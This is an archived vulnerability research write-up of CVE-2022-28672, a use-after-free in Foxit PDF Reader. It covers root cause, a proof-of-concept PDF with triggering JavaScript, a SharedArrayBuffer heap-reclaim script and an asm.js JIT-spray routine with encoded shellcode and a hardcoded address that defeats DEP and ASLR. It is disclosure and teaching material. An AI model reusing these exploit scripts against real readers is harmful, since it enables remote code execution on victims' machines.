Logo
    CVE-2022-28672 _ Foxit PDF Reader UAF RCE
    🦊

    CVE-2022-28672 _ Foxit PDF Reader UAF RCE

    ⚠️ [ ORIGIN SOURCE ]
    https://hacksys.io/blogs/foxit-reader-uaf-rce-jit-spraying-cve-2022-28672
    📅 [ Archival Date ]
    Dec 18, 2022 10:46 PM
    🏷️ [ Tags ]
    FoxitPDFWindows
    ✍️ [ Author ]

    Krishnakant Patil, Ashfaq Ansari

    💣 [ PoC / Exploit ]
    https://crash.link/cve-2022-28672

    Overview

    In the first part of the PDF Reader series, we shared details about an exploitable bug that we found in Adobe Acrobat Reader. This bug, which was an Out of Bounds Read caused by treating ANSI strings as Unicode, allowed us to leak sensitive information from the sandboxed Adobe Reader process.

    Adobe Reader - XFA - ANSI - Unicode Confusion Information Leak

    In the second part of the series, we will be discussing another vulnerability that we discovered while assessing the security of popular PDF readers. This time, we found a use-after-free vulnerability and several other crashes in Foxit PDF Reader during fuzz testing.

    We were able to successfully exploit this vulnerability to gain Remote Code Execution in the context of Foxit PDF Reader.

    Zero Day Initiative (ZDI) purchased this exploit, despite it being a bug collision.

    Advisory

    CVE-2022-28672

    Testbed

    • Host OS: Windows 10 Pro 20H2 19042.804
    • Product: Foxit PDF Reader 11.1.0.52543 (x86)Product
    • URL: https://www.foxitsoftware.com/downloads/

    Crash State

    A quick verification using the !heap command reveals that this is a use-after-free vulnerability.

    Proof of Concept

    The test case includes static form fields in PDF and javascript action to manipulate them, causing a crash.

    Static PDF fields

    Faulting Javascript

    Root Cause Analysis

    The code crashes when trying to access an object using this pointer.

    int __thiscall sub_1734610(_DWORD *this)
    {
      int v1; // eax
      bool v2; // cl
    
      v1 = this[11];  // CRASH while deferencing this pointer
      v2 = 0;
      if ( v1 )
        v2 = *(_DWORD *)v1 != 0;
      if ( v2 && v1 )
        return *(_DWORD *)v1;
      else
       return 0
    }

    Stack trace analysis reveals that the sub_1729070 function allocates a Widget related object of size 0x64 when the setFocus method is called on this.getField("field_10").setFocus() in the javascript.

    This allocation occurs when the sub_1729070 function is called, which returns different-sized objects based on a type check. In this case, the switch case condition 5 is satisfied, resulting in an object of size 0x64 being returned.

    This can be verified by using a debugger.

    The closeDoc function invokes the calculate handler on field_15. Inside the calculate callback, we set the items property of the choice list field f1, which has a registered format callback. Setting the items property invokes its format callback, which deletes the 0th page and potentially deletes the target object.

    When the document is closed, the sub_172B3A0 function is called.

    The sub_1729070 function returns the target object, which was previously created during the setFocus call. This object is then passed to the indirect call (*(unsigned __int8 (__thiscall **)(int, _DWORD ))((_DWORD *)v4 + 80))(v4, a2).

    This code path then invokes the format callback registered on field_12. Within the format callback, the target object is freed when this.deletePages function is called.

    The sub_173A900 function is responsible for freeing the target object of size 0x64, which is later accessed by sub_1734610 causing the program to crash.

    Exploitation

    If we can control and reallocate the same size allocation, we may be able to gain direct control over code execution using the call instruction inside sub_172ADA0. This is shown below:

    eax=41414141 ebx=0e847e88 ecx=0e8c7960 edx=00000000 esi=0e8c7960 edi=00000002
    eip=01c2ade1 esp=080fa8dc ebp=080fa910 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
    FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x277e41:
    01c2ade1 ff5074          call    dword ptr [eax+74h]  ds:002b:414141b5=????????

    The following script can be used to groom the heap to crash the Foxit Reader process at a controlled location. During testing, it was discovered that support for ArrayBuffer was disabled in Foxit Reader. This is likely done as a preventative measure to prevent exploitation using common javascript exploit primitives such as heap spraying and out-of-bound read/write. However, it was found that SharedArrayBuffer was not disabled and could be used for the same purpose.

    In the sprayed memory blocks, the eax register points to the start of the memory buffer, and an indirect call at an offset of 0x74 indicates that it is a C++ object inside Foxit where a virtual method is being invoked. This can be used to execute arbitrary code in the context of the Foxit process.

    By carefully controlling the heap spraying process using the provided script, it is possible to crash Foxit Reader at a specific location when a virtual method is invoked. This allows the attacker to control the state of the object and potentially execute arbitrary code in the context of the Foxit process.

    Bypassing Mitigations

    Data Execution Prevention (DEP)

    One way to bypass DEP and execute user-controlled code in memory is to use return-oriented programming (ROP). This involves chaining together short sequences of code, called gadgets, that are already present in the program's memory. By carefully selecting gadgets and arranging them in a specific order, it is possible to execute arbitrary code without needing to directly call the sprayed shellcode. This can be difficult to achieve, but there are tools and resources available to help with the process.

    Our bug is user-after-free of an object on the heap which allows us to call arbitrary addresses in memory using a virtual function call. Although heap spraying with user-controlled data is possible, the heap memory does not have execute permissions. Hence, we cannot call shellcode sprayed using heap-spraying.

    To bypass DEP, we need to have an arbitrary read/write primitive and ROP chain to create an executable memory range which we don't have.

    Control Flow Guard (CFG)

    Control Flow Guard (CFG) is a mitigation technique that is designed to prevent attackers from calling arbitrary call sites. CFG is used to protect indirect calls and is present in most modern software. However, in the case of Foxit, the software was not compiled with CFG support, which means that attackers can call any memory address within the Foxit address space. This lack of CFG support makes Foxit vulnerable to exploitation by attackers.

    Address Space Layout Randomization (ASLR)

    Foxit PDF Reader has Address Space Layout Randomization (ASLR) enabled, which means that we cannot use any hardcoded addresses in the exploit to call the shellcode. To bypass ASLR, we need some kind of heap-leaking primitive (info-leak), but we do not have one available.

    JIT Spraying to rescue! Bypassing DEP, ASLR at once.

    JIT spraying is a technique that can be used to bypass both Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) at the same time. Foxit, a popular PDF viewer, ships with the Google V8 javascript engine as a backend for processing javascript within PDF files. Testing revealed that Foxit is vulnerable to JIT spraying.

    JIT, or Just In Time Compilation, is commonly used within javascript engines to improve performance by converting javascript bytecode into native architecture-specific code. To do this, the JIT compiler must create a memory with read-write-execute permissions to store the compiled code. There are various ways to invoke the JIT compiler within a script engine.

    rh0dev has done excellent research on JIT spraying, particularly on the use of the asm.js feature of javascript for JIT spraying. This technique allows the attacker to spray encoded shellcode using asm.js, enabling them to bypass DEP and ASLR protections.

    1. The Return of the JIT
    2. Github Repository

    After several attempts, we were able to create a JIT spray for v8 inside Foxit.

    We can confirm the shellcode spraying by looking at the base of any allocation above it.

    0:000> u 18ca0000
    18ca0000 e97b470000      jmp     18ca4780
    18ca0005 e956470000      jmp     18ca4760
    18ca000a cc              int     3
    18ca000b cc              int     3
    18ca000c cc              int     3

    The first jump is to the generated code at 18ca4780, which in our case contains our encoded shellcode.

    The JIT spraying script has been stripped for readability. The full source can be found in the exploit on GitHub.

    In this case, we are using the best-educated guess of 0x19b40000 for the shellcode execution, where one of our JIT sprays is located.

    0:025> u 19b40000
    19b40000 e97b470000      jmp     19b44780
    19b40005 e956470000      jmp     19b44760
    19b4000a cc              int     3
    19b4000b cc              int     3
    19b4000c cc              int     3

    In the JIT spray script, a hardcoded address derived from the assumed base address of 0x19b447a2|0, // using predicated 19b40000 base is used as the starting point for the shellcode. This address is referenced by a call instruction, as can be verified using a debugger. This allows us to execute the shellcode at a known location in memory, bypassing DEP and ASLR protections.

    0:025> ? 19b44729+74
    Evaluate expression: 431245213 = 19b4479d
    
    0:025> dd 19b4479d
    19b4479d  19b447a2 90909068 c93168a8 6a68a890
    19b447ad  68a85830 a8008b64 0c408b68 708b68a8
    19b447bd  ad68a814 68a8ad96 a810588b 3c538b68

    The execution of the shellcode must start from 19b447a2. This can be verified in the debugger.

    By analyzing the decoded shellcode, it is possible to see that it contains a series of valid instructions that carry out the desired actions. This indicates that the JIT spraying technique was successful in allowing us to execute our shellcode in the context of the Foxit process.

    Conclusion

    In conclusion, this research shows that if Foxit Reader had been compiled with Control Flow Guard (CFG) support, the discovered bug would have been more difficult to exploit. However, the lack of CFG support allowed the attacker to use JIT spraying to bypass existing mitigations such as ASLR and DEP. This highlights the importance of using multiple layers of defense to protect against attacks.

    Exploit Repository

    https://github.com/hacksysteam/CVE-2022-28672

    Demo Video

    (cbc.1a9c): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000002 ebx=1c8bef98 ecx=1c8bef98 edx=00000000 esi=24984fa8 edi=104f8fd0
    eip=015a4610 esp=0779a720 ebp=0779a740 iopl=0         nv up ei pl nz na po nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
    FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x281670:
    015a4610 8b412c          mov     eax,dword ptr [ecx+2Ch] ds:002b:1c8befc4=????????
    0:000> !ext.heap -p -a @ecx
        address 26786f98 found in
        _DPH_HEAP_ROOT @ b9d1000
        in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                       267f0138:         26786000             2000
        6fbdab02 verifier!AVrfDebugPageHeapFree+0x000000c2
        76fbf766 ntdll!RtlDebugFreeHeap+0x0000003e
        76f768ae ntdll!RtlpFreeHeap+0x0004e0ce
        76f662ed ntdll!RtlpFreeHeapInternal+0x00000783
        76f28786 ntdll!RtlFreeHeap+0x00000046
        045e8fbb FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x004e7e4b
        045c4f4f FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x004c3ddf
        044d2b93 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x003d1a23
        01c3a919 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00287979
        01c2de7b FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0027aedb
        01c2d0e6 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0027a146
        01c2c786 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002797e6
        01f40448 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0058d4a8
        ...
    5 0 obj
    <<
    /Type /Annot
    /Subtype /Widget
    /T (field_10)
    /FT /Ch
    /Rect [844 625 413 191]
    /Opt [(FK2V7)]
    /I [0 1]
    /Ff 67379206
    >>
    endobj
    
    6 0 obj
    <<
    /Type /Annot
    /Subtype /Widget
    /T (field_12)
    /FT /Ch
    /Rect [553 60 781 220]
    /TU (AVALAJX9P0)
    /TI 990
    /I [0 1]
    /Ff 1743797713
    >>
    endobj
    
    7 0 obj
    <<
    /Type /Annot
    /Subtype /Widget
    /T (field_15)
    /FT /Tx
    /Rect [695 237 690 797]
    /TU (XA225DZMOZ)
    /TM (86P4A4SWL7)
    /MaxLen 1002
    /V (5PLOVN0BG2TITMZ89VSATS7VAG94BYVK0TA3PKRRMSJCUFH7SF)
    /Ff 45059
    >>
    endobj
    var f0 = this.getField("field_15");
    var f1 = this.getField("field_12");
    
    f1.setAction("Format", "callback7()"); 
    this.getField("field_10").setFocus();
    
    function callback0()
    {
        f1.setItems([1]);  // invokes callback7 which frees block of memory
                           // stale memory access when callback0 ends
    }
        
    function callback7()
    {
        this.deletePages(0);  // frees block of memory
    }
    
    f0.setAction("Calculate", "callback0()");
    this.closeDoc(true);  // invokes callback0
    int __thiscall sub_1729070(_DWORD *this, int a2, char a3)
    {
        // ...
        // {
          if ( a3 )
          {
            switch ( sub_1A2DB10(a2) )
            {
              case 1:
                LOBYTE(v24) = 3;
                v25 = operator new(0x34u);
                LOBYTE(v24) = 4;
                if ( v25 )
                  v4 = (void (__thiscall ***)(_DWORD, int))sub_173BDC0(v21[5], a2);
                else
                  v4 = 0;
                v22 = v4;
                v23 = 0;
                LOBYTE(v24) = 2;
                v7 = (int)v4;
                break;
              case 2:
                LOBYTE(v24) = 5;
                v26 = operator new(0x34u);
                LOBYTE(v24) = 6;
                if ( v26 )
                  v4 = (void (__thiscall ***)(_DWORD, int))sub_1736D60(v21[5], a2);
                else
                  v4 = 0;
                v22 = v4;
                v21 = 0;
                v23 = 0;
                LOBYTE(v24) = 2;
                v7 = (int)v4;
                break;
              case 3:
                LOBYTE(v24) = 7;
                v27 = operator new(0x34u);
                LOBYTE(v24) = 8;
                if ( v27 )
                  v4 = (void (__thiscall ***)(_DWORD, int))sub_173CF80(v21[5], a2);
                else
                  v4 = 0;
                v22 = v4;
                v17[5] = 0;
                v23 = 0;
                LOBYTE(v24) = 2;
                v7 = (int)v4;
                break;
              case 4:
                LOBYTE(v24) = 13;
                v30 = operator new(0x54u);
                LOBYTE(v24) = 14;
                if ( v30 )
                  v4 = (void (__thiscall ***)(_DWORD, int))sub_1738240(v21[5], a2);
                else
                  v4 = 0;
                v22 = v4;
                v17[2] = 0;
                v23 = 0;
                LOBYTE(v24) = 2;
                v7 = (int)v4;
                break;
              case 5:
                LOBYTE(v24) = 11;
                v29 = operator new(0x64u);
                LOBYTE(v24) = 12;
                if ( v29 )
                  v4 = (void (__thiscall ***)(_DWORD, int))sub_173A6E0(v21[5], a2);
                else
                  v4 = 0;
                v22 = v4;
                v17[3] = 0;
                v23 = 0;
                LOBYTE(v24) = 2;
                v7 = (int)v4;
                break;
              case 6:
                LOBYTE(v24) = 9;
                v28 = operator new(0x6Cu);
                LOBYTE(v24) = 10;
                if ( v28 )
                  v4 = (void (__thiscall ***)(_DWORD, int))sub_172E660(v21[5], a2);
                else
                  v4 = 0;
                v22 = v4;
                v17[4] = 0;
                v23 = 0;
                LOBYTE(v24) = 2;
                v7 = (int)v4;
                break;
              default:
                v4 = 0;
                v7 = 0;
                v22 = 0;
                break;
            }
          }
          // ...
      return v7;
    }
    0:000> !ext.heap -p -a @eax
        address 256caf98 found in
        _DPH_HEAP_ROOT @ c911000
        in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                    25343444:         256caf98               64 -         256ca000             2000
              unknown!fillpattern
        6feda8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
        7723ef0e ntdll!RtlDebugAllocateHeap+0x00000039
        771a6150 ntdll!RtlpAllocateHeap+0x000000f0
        771a57fe ntdll!RtlpAllocateHeapInternal+0x000003ee
        771a53fe ntdll!RtlAllocateHeap+0x0000003e
        04608ccc FoxitPDFReader!_malloc_base+0x00000038
        043015ec FoxitPDFReader!void * __cdecl operator new(unsigned int)+0x0000002a
        01c492d1 FoxitPDFReader!sub_1729070+0x00000261
        01c4cb21 FoxitPDFReader!sub_172C7B0+0x00000371
        01f60781 FoxitPDFReader!sub_1A406B0+0x000000d1
        0118ac87 FoxitPDFReader!sub_C6A710+0x00000577
        ...
    char __thiscall sub_172B3A0(_DWORD *this, _DWORD *a2)
    {
      v2 = this;
      v35 = this;
      sub_6970E0(&v37);
      v39 = 0;
      // sub_1729070 returns target object which was already created during setFocus
      v4 = sub_1729070(v2, (int)a2, 0);
      if ( v4 )
      {
        // indirect call which also triggers format callback
        if ( !(*(unsigned __int8 (__thiscall **)(int, _DWORD *))(*(_DWORD *)v4 + 80))(v4, a2) )
        {
          sub_112B090(&v35, &v37);
          if ( v35 != (_DWORD *)v2[9] )
            sub_112AFB0(v31, v35);
    LABEL_49:
          v15 = 0;
          // ...
        }
        // ...
      }
      // ...
    }
    .text:0173A900 ; void *__thiscall sub_173A900(void *this, char)
    .text:0173A900 sub_173A900     proc near               ; CODE XREF: sub_173A8EA+3↑j
    .text:0173A900                                         ; DATA XREF: .rdata:off_48159CC↓o
    .text:0173A900
    .text:0173A900 arg_0           = byte ptr  8
    .text:0173A900
    .text:0173A900                 push    ebp
    .text:0173A901                 mov     ebp, esp
    .text:0173A903                 push    esi
    .text:0173A904                 mov     esi, ecx
    .text:0173A906                 call    sub_173A7E0
    .text:0173A90B                 test    [ebp+arg_0], 1
    .text:0173A90F                 jz      short loc_173A91C
    .text:0173A911                 push    64h ; 'd'                                        ;; size
    .text:0173A913                 push    esi                                              ;; ESI - target block
    .text:0173A914                 call    sub_3FD2B88                                      ;; memory free call wrapper
    .text:0173A919                 add     esp, 8
    .text:0173A91C
    .text:0173A91C loc_173A91C:                            ; CODE XREF: sub_173A900+F↑j
    .text:0173A91C                 mov     eax, esi
    .text:0173A91E                 pop     esi
    .text:0173A91F                 pop     ebp
    .text:0173A920                 retn    4
    .text:0173A920 sub_173A900     endp
    // spray memory allocations
    function reclaim(size, count){
        for (var i = 0; i < count; i++) {
            sprayArr[i] = new SharedArrayBuffer(size);
            var rop = new DataView(sprayArr[i]);
    
            // control value for - call dword ptr [eax+74h]
            // first dword is pointer to the shellcode
            rop.setUint32(0, 0x41414141);
    
            for (var j = 4; j < rop.byteLength/4; j+=4) {
                rop.setUint32(j, 0x42424242);
            }
        }
    }
    
    function callback0()
    {
        // trigger formatCallback on field 1
        f1.setItems([1]);
    
        // above call should free block of memory
        // we reclaim freed memory by heap spraying of fixed allocations
        reclaim(0x58, 0x1000);
        reclaim(0x68, 0x1000);
    }
    0:000> !address -f:PAGE_EXECUTE_READWRITE
    
    Mapping file section regions...
    Mapping module regions...
    Mapping PEB regions...
    Mapping TEB and stack regions...
    Mapping heap regions...
    Mapping page heap regions...
    Mapping other regions...
    Mapping stack trace database regions...
    Mapping activation context regions...
    
      BaseAddr EndAddr+1 RgnSize     Type       State                 Protect             Usage
    -----------------------------------------------------------------------------------------------
       c0000    c5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
      140000   145000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
      1c0000   1c5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
      200000   205000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
      280000   285000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
      2c0000   2c5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
      300000   305000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
        ...
    18c40000 18c45000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    18c50000 18c55000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    18c60000 18c65000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    18c70000 18c75000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    18c80000 18c85000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    18c90000 18c95000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    18ca0000 18ca5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    18cb0000 18cb5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    18cc0000 18cc5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    18cd0000 18cd5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
        ...
    3fec0000 3fec5000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    3ff00000 3ff05000     5000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [..G...VG........]
    18ca4780 55           push    ebp
    18ca4781 89e5         mov     ebp, esp
    18ca4783 6a0a         push    0Ah
    18ca4785 56           push    esi
    18ca4786 8b7e17       mov     edi, dword ptr [esi+17h]
    18ca4789 3927         cmp     dword ptr [edi], esp
    18ca478b 0f83e5010000 jae     18ca4976
    18ca4791 8b7e1b       mov     edi, dword ptr [esi+1Bh]
    18ca4794 8b7f07       mov     edi, dword ptr [edi+7]
    18ca4797 8b461f       mov     eax, dword ptr [esi+1Fh]
    18ca479a 8b00         mov     eax, dword ptr [eax]
    18ca479c 68a247b419   push    19B447A2h
    18ca47a1 68909090a8   push    0A8909090h
    18ca47a6 6831c990a8   push    0A890C931h
    18ca47ab 686a3058a8   push    0A858306Ah
    18ca47b0 68648b00a8   push    0A8008B64h
    18ca47b5 688b400ca8   push    0A80C408Bh
    18ca47ba 688b7014a8   push    0A814708Bh
    // spray calc.exe WinExec + ExitProcess shellcode
    // VirtualAlloc of size 0x5000 
    function sprayJITShellcode(asmJsModuleName, payloadFuncName, ffiFuncName)
    {
        var script = `
            function ${asmJsModuleName} (stdlib, ffi, heap){
                'use asm';
                var ffi_func = ffi.func;
    
                function ${payloadFuncName} () {
                    var val = 0;
                    val = ffi_func(
                        0xa8909090|0,
                        0xa8909090|0,
                        0xa8909090|0,
                        0xa890d6ff|0,
                        0xa890006a|0,
                        0xa890d7ff|0,
                        0xa851056a|0,
                        0xa890e189|0,
                        //...
                        0xa83c538b|0,
                        0xa810588b|0,
                        0xa8ad96ad|0,
                        0xa814708b|0,
                        0xa80c408b|0,
                        0xa8008b64|0,
                        0xa858306a|0,
                        0xa890c931|0,
                        0xa8909090|0,
                        0x19b447a2|0,   //using predicated 19b40000 base
                    )|0;
                    return val|0;
                }
                return ${payloadFuncName};
            }
    
            function ${ffiFuncName} () {
                var x = 0;
                return x|0;
            } 
            for (var f=0; f<0x10; f++) { 
                asmJsModulesArr.push(${asmJsModuleName}(this, { func: ${ffiFuncName} }, 0));
            };
        `;
        eval(script)
        // required to generate jit code
        asmJsModulesArr[asmJsModulesArr.length-1]();
    }
    
    // spray jit shellcode allocation
    // 00005dbc: index to shellcode from the base of the virtualalloc
    for (var jitcount=0; jitcount<3000; jitcount++) {
        sprayJITShellcode("foo"+jitcount, "payload"+jitcount, "ffi_func"+jitcount);
    }
    19b447a2 90         nop     
    19b447a3 90         nop     
    19b447a4 90         nop     
    19b447a5 a868       test    al, 68h
    19b447a7 31c9       xor     ecx, ecx
    19b447a9 90         nop     
    19b447aa a868       test    al, 68h
    19b447ac 6a30       push    30h
    19b447ae 58         pop     eax
    19b447af a868       test    al, 68h
    19b447b1 648b00     mov     eax, dword ptr fs:[eax]
    19b447b4 a868       test    al, 68h
    19b447b6 8b400c     mov     eax, dword ptr [eax+0Ch]
    19b447b9 a868       test    al, 68h
    ...